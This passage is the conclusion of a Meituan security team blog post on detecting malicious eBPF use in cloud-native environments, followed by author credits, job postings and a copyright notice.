在國外,雲原生領域產品發展較快,湧現出一批批基於eBPF的產品,包括Cilium、Datadog 、Falco、Katran等,應用在網絡編排、網絡防火牆、跟蹤定位、運行時安全等各個領域,可以借鑑這些大型項目的研發經驗,來加快產品建設,包括多系統兼容、框架設計、項目質量、監控體系建設等。本篇以檢測防禦爲主,工程建設相關經驗,我們將在以後的文章中分享。

總結

隨着雲原生快速發展,eBPF實現軟件、運行環境會越來越多。而eBPF的惡意利用也會越來越普遍。從國內外的情況來看,國外對這個方向的研究遠比國內超前,我們再次呼籲大家,網絡安全產品應當儘快具備eBPF相關威脅檢測能力

本文跟大家探討了基於eBPF技術的惡意利用與檢測機制,其中提到的eBPF在防禦檢測產品研發、工程建設等內容,我們將在下一篇跟大家分享,敬請期待。

作者簡介

陳馳、楊一、鑫博,均來自美團信息安全部。

參考文獻

招聘

美團信息安全部招聘研發專家,職位如下:

  • 安全研發專家(主機安全方向)
  • 安全研發專家(RASP方向)
  • Web研發架構師(Java語言)

具體描述參見:美團信息安全部2022年招聘崗位 。歡迎大家加入我們,跟我們一起構築安全屏障,守護大家的安全。

閱讀美團技術團隊更多技術文章合集

前端 | 算法 | 後端 | 數據 | 安全 | 運維 | iOS | Android | 測試

| 在公衆號菜單欄對話框回覆【2021年貨】、【2020年貨】、【2019年貨】、【2018年貨】、【2017年貨】等關鍵詞,可查看美團技術團隊歷年技術文章合集。

| 本文系美團技術團隊出品,著作權歸屬美團。歡迎出於分享和交流等非商業目的轉載或使用本文內容,敬請註明“內容轉載自美團技術團隊”。本文未經許可,不得進行商業性轉載或者使用。任何商用行爲,請發送郵件至[email protected]申請授權。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章